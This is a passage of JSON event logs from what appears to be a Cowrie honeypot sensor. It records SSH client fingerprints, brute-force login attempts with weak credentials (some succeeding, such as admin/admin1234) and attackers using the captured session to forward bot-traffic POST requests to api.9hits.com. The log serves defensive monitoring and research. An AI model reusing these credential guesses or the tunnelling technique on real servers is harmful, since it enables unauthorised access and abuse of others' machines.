up14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:37.076773Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qweqweqwe","message":"login attempt [ubuntu/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:37.401138Z","src_ip":"91.92.40.36","session":"af097d5320b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:38.755445Z","src_ip":"91.92.40.36","session":"af097d5320b4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:39.286542Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":36278,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ecb0f55037","protocol":"ssh","message":"New connection: 91.92.40.36:36278 (159.203.135.109:22) [session: 05ecb0f55037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:45.300830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:45.863539Z","src_ip":"91.92.40.36","session":"05ecb0f55037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:46.657599Z","src_ip":"91.92.40.36","session":"05ecb0f55037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.99632954597473,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:49.614050Z","src_ip":"128.199.8.54","session":"9841bbf8b412","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:50.797944Z","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:50.811909Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 11_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 EdgiOS/90.0.818.46 Mobile/15B202 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=REN3cWFUVkFhOTZCTUZKaQ%3D%3DIYvQXnJMG8ZDBzhI0vwBJcrQ7jPSqy05Gu75TwNiLadjsqtICHIawhxJhC5Zt7aN7VSjBMhW3zn13J4n4s6rdY%2FGlsVSSB1FMGBB%2FXkijxsfVa1fFaMftxumVUAlx5gQF8GsKg7k5WR5tznE88Ydi%2BIvqailqx5VT4aOjj8%2FOFivm8x9cDinzQhDUq9dkvRRDwOsc6ph1LPqV4bOEnjt30VdfMCIUnxhyz0ER7oPIagiJ9g10EbLMWtKKU5n5bTXmcOD%2B2kDpDj30eeNcfCHMTPuV4mZJ1LhfUtcW2jRGQTiE%2Bx9kaAGop4QXpsdLF2BAfGDTDog7Fawn0HiWqEeVAirtLtTpc%2F0tjKcpYa6igJt8F9zY7zhxw4URN4iWq7h%2BWPV0fvHQL7bMO%2FsQnKq2wqM%2F%2Fc6vA8%2FAOGLoXukGIs5Cp5NLjW6Mu8Lq70TTcgYjI69sRpImxd5L%2F%2BGiHP3UxZ1Z7Zelr6uTlkwxWkE%2B2HKrZrTGtQ1E7MH6Ekz9TEiQlwNNJxaOCJZwGZT2qRuFTgOhgXGxKkfj%2F3v8Z%2B2R6XordgRHpjODWy1rps%2BVe3fJOHPksue96GfYNXmpgo5f2mrBJiUb%2BdY%2B744HpLVoV71oqzBCG9sFgUsvZaKAbSNDioSn3PVDlkG2LC8u6j2X6jkf3WbDv7lVqGehfOSmqebNJnWXhYj%2Fc7uMU1yY8wCzHoaLkc8CeN1TOzdRx4zOuQlMEwdMxerGOKIy3e5n1Nu6WMGhJTxJpWvVnoIPZePoar8mbzcZbyEZs9ByAIvnQ47fX1rKBGbAH9LiBwXnSZhymLjpGFyvCbXfkGocpWTvlfgudyoqCmZSLnldMcP%2BWQot5b%2BvY%2F7FNTXmsPKb%2FpLHbtWHodE1%2B6QvwXc8OR4em9am9Tgze%2F0KzKNi0Q4VDYOkyX6QF4LkJONi6HQCHkGXWS2dGZYlubH9%2F7K4ffWImtmmWiLFFDE2O7uPzy814UxDJ%2BQhZDqyi9nv%2BFxdW9V%2BxJUmziSCyyP4eg0TTJfFKk6n%2BQIKoudhcYkhmruguLxM2mRPoHXCYjt3kk%2FR6M8bvDHOn2zEjwIPg3mBZUr'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 11_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 EdgiOS/90.0.818.46 Mobile/15B202 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=REN3cWFUVkFhOTZCTUZKaQ%3D%3DIYvQXnJMG8ZDBzhI0vwBJcrQ7jPSqy05Gu75TwNiLadjsqtICHIawhxJhC5Zt7aN7VSjBMhW3zn13J4n4s6rdY%2FGlsVSSB1FMGBB%2FXkijxsfVa1fFaMftxumVUAlx5gQF8GsKg7k5WR5tznE88Ydi%2BIvqailqx5VT4aOjj8%2FOFivm8x9cDinzQhDUq9dkvRRDwOsc6ph1LPqV4bOEnjt30VdfMCIUnxhyz0ER7oPIagiJ9g10EbLMWtKKU5n5bTXmcOD%2B2kDpDj30eeNcfCHMTPuV4mZJ1LhfUtcW2jRGQTiE%2Bx9kaAGop4QXpsdLF2BAfGDTDog7Fawn0HiWqEeVAirtLtTpc%2F0tjKcpYa6igJt8F9zY7zhxw4URN4iWq7h%2BWPV0fvHQL7bMO%2FsQnKq2wqM%2F%2Fc6vA8%2FAOGLoXukGIs5Cp5NLjW6Mu8Lq70TTcgYjI69sRpImxd5L%2F%2BGiHP3UxZ1Z7Zelr6uTlkwxWkE%2B2HKrZrTGtQ1E7MH6Ekz9TEiQlwNNJxaOCJZwGZT2qRuFTgOhgXGxKkfj%2F3v8Z%2B2R6XordgRHpjODWy1rps%2BVe3fJOHPksue96GfYNXmpgo5f2mrBJiUb%2BdY%2B744HpLVoV71oqzBCG9sFgUsvZaKAbSNDioSn3PVDlkG2LC8u6j2X6jkf3WbDv7lVqGehfOSmqebNJnWXhYj%2Fc7uMU1yY8wCzHoaLkc8CeN1TOzdRx4zOuQlMEwdMxerGOKIy3e5n1Nu6WMGhJTxJpWvVnoIPZePoar8mbzcZbyEZs9ByAIvnQ47fX1rKBGbAH9LiBwXnSZhymLjpGFyvCbXfkGocpWTvlfgudyoqCmZSLnldMcP%2BWQot5b%2BvY%2F7FNTXmsPKb%2FpLHbtWHodE1%2B6QvwXc8OR4em9am9Tgze%2F0KzKNi0Q4VDYOkyX6QF4LkJONi6HQCHkGXWS2dGZYlubH9%2F7K4ffWImtmmWiLFFDE2O7uPzy814UxDJ%2BQhZDqyi9nv%2BFxdW9V%2BxJUmziSCyyP4eg0TTJfFKk6n%2BQIKoudhcYkhmruguLxM2mRPoHXCYjt3kk%2FR6M8bvDHOn2zEjwIPg3mBZUr'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:50.814683Z","src_ip":"23.148.145.132","session":"0e560b52b789","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pa$w0rd","message":"login attempt [admin/pa$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:52.164049Z","src_ip":"91.92.40.36","session":"05ecb0f55037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":58392,"dst_ip":"159.203.135.109","dst_port":22,"session":"d975290eedd4","protocol":"ssh","message":"New connection: 91.92.40.36:58392 (159.203.135.109:22) [session: d975290eedd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:52.639463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.121550Z","src_ip":"91.92.40.36","session":"d975290eedd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":35175,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a0f97d5cae","protocol":"ssh","message":"New connection: 41.90.100.147:35175 (159.203.135.109:22) [session: 64a0f97d5cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.188014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.194477Z","src_ip":"41.90.100.147","session":"64a0f97d5cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50591,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d2670f98aa0","protocol":"ssh","message":"New connection: 123.27.168.40:50591 (10.17.0.5:22) [session: 7d2670f98aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.244768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.250095Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.409582Z","src_ip":"41.90.100.147","session":"64a0f97d5cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:53.482748Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:54.276617Z","src_ip":"91.92.40.36","session":"d975290eedd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawd","password":"clawd123","message":"login attempt [clawd/clawd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:54.297837Z","src_ip":"41.90.100.147","session":"64a0f97d5cae","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:54.522489Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:54.878071Z","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:54.934808Z","src_ip":"91.92.40.36","session":"05ecb0f55037","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.016907Z","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.395305Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YWRMIXlrYyZoZWJfQktxRg%3D%3D6yHNL%2FhrQAT5LvXL9S4FNl2lrD0Yvn9b290i63JCNXT3fWFrewO%2BdNixwJP4WTcUJMIj1ZyTVLY7iXRfxI88ZEIOBLFAcJ1e%2Br6XZqCSlSeQv8hVbnSbtQWcam9tqA3ozQOlnksVeStxHSBVzwikP%2F4u0CBg1pHXs5%2Fvh7wcU4nrnRpBtDZ7Ka%2Fndc6Yi1QEnYjlATkkN7V3xBbhBOb7DhI6%2FMtF0wTnP6S20OcZeLcEY0kS9cKOZiK0wcL1yXHcW36vguSiRQ3RNCRCaWBI%2F96BEgz9NkdrRIKNsW1s3wdeLTYSXefhpnsLzEtrssop4CSgeUJcBlL2VfgbwBwzLBQybI8wZlDXiwtFlGeh0b3XFBnPLSGGeiSnvJTQAa52HQoalsl637paeOzIJ45e%2BeWXt84Yb3SGPLRDJACljzHdeCbAu1tGOuoORHjCFfNN9SihU9p2TiHYnQqBPs%2FpisW9qhj%2F4b7IwbmUDEXC%2BuT0j%2B5DZwmoN3Vtz02hF1OpQqpBJStRf2FpBg9BEF5XoUndWHMo3Vx9VPsXrSSsM1bZHHCBfxEr%2FBNs2hR%2BITTJ%2BsuFYWK24iSqy9fu93fPxq46Ysceg3MtMnmoII9fKdykh%2FaFIrN8ctfY7pVemK1EgmScJbKrJkVgMP%2FskAImExGDWVjYGyR4O82ZhTzqHEgYTAcp9Mf2sHwe7g%2FsAgEBNTdB%2BmtJvE%2BwTx14X1pVf7HoYDrstpKa%2BIjPCAM9MaMJ5ixUj3MEPW9RW1swiASUscnljHZHlunOrr5PwO0yFhGN9SYwqrIdL4sSIrVrtesXWC%2BPthuk67p0%2FCNpLbbmCuCDoCnX6G7BIWglLnc66pSJbH0ZHHI9LXWC%2FJUqNocqIyspsrLLbiwmqu%2FX3SS2qBGwlfnO20iqDjaWRRBpBAynWCLiONickVyePYg%2B80U2h1gnDN%2FdzNc40d%2BkVN%2BNsgqrJBJD8lE0ZzElbGdxhY8rbsl0jBzTG2SeRy6KVhNUWM%2FgjTwpvY3PxLesQ%2BGZsCURcU5LFt5En0POmkoUYVkPHaAdBPvbAOtqDnzObqkxdqtFxf4kTOjU3OmO7fxH'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YWRMIXlrYyZoZWJfQktxRg%3D%3D6yHNL%2FhrQAT5LvXL9S4FNl2lrD0Yvn9b290i63JCNXT3fWFrewO%2BdNixwJP4WTcUJMIj1ZyTVLY7iXRfxI88ZEIOBLFAcJ1e%2Br6XZqCSlSeQv8hVbnSbtQWcam9tqA3ozQOlnksVeStxHSBVzwikP%2F4u0CBg1pHXs5%2Fvh7wcU4nrnRpBtDZ7Ka%2Fndc6Yi1QEnYjlATkkN7V3xBbhBOb7DhI6%2FMtF0wTnP6S20OcZeLcEY0kS9cKOZiK0wcL1yXHcW36vguSiRQ3RNCRCaWBI%2F96BEgz9NkdrRIKNsW1s3wdeLTYSXefhpnsLzEtrssop4CSgeUJcBlL2VfgbwBwzLBQybI8wZlDXiwtFlGeh0b3XFBnPLSGGeiSnvJTQAa52HQoalsl637paeOzIJ45e%2BeWXt84Yb3SGPLRDJACljzHdeCbAu1tGOuoORHjCFfNN9SihU9p2TiHYnQqBPs%2FpisW9qhj%2F4b7IwbmUDEXC%2BuT0j%2B5DZwmoN3Vtz02hF1OpQqpBJStRf2FpBg9BEF5XoUndWHMo3Vx9VPsXrSSsM1bZHHCBfxEr%2FBNs2hR%2BITTJ%2BsuFYWK24iSqy9fu93fPxq46Ysceg3MtMnmoII9fKdykh%2FaFIrN8ctfY7pVemK1EgmScJbKrJkVgMP%2FskAImExGDWVjYGyR4O82ZhTzqHEgYTAcp9Mf2sHwe7g%2FsAgEBNTdB%2BmtJvE%2BwTx14X1pVf7HoYDrstpKa%2BIjPCAM9MaMJ5ixUj3MEPW9RW1swiASUscnljHZHlunOrr5PwO0yFhGN9SYwqrIdL4sSIrVrtesXWC%2BPthuk67p0%2FCNpLbbmCuCDoCnX6G7BIWglLnc66pSJbH0ZHHI9LXWC%2FJUqNocqIyspsrLLbiwmqu%2FX3SS2qBGwlfnO20iqDjaWRRBpBAynWCLiONickVyePYg%2B80U2h1gnDN%2FdzNc40d%2BkVN%2BNsgqrJBJD8lE0ZzElbGdxhY8rbsl0jBzTG2SeRy6KVhNUWM%2FgjTwpvY3PxLesQ%2BGZsCURcU5LFt5En0POmkoUYVkPHaAdBPvbAOtqDnzObqkxdqtFxf4kTOjU3OmO7fxH'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:47:55.402785Z","src_ip":"123.27.168.40","session":"7d2670f98aa0","protocol":"ssh"}
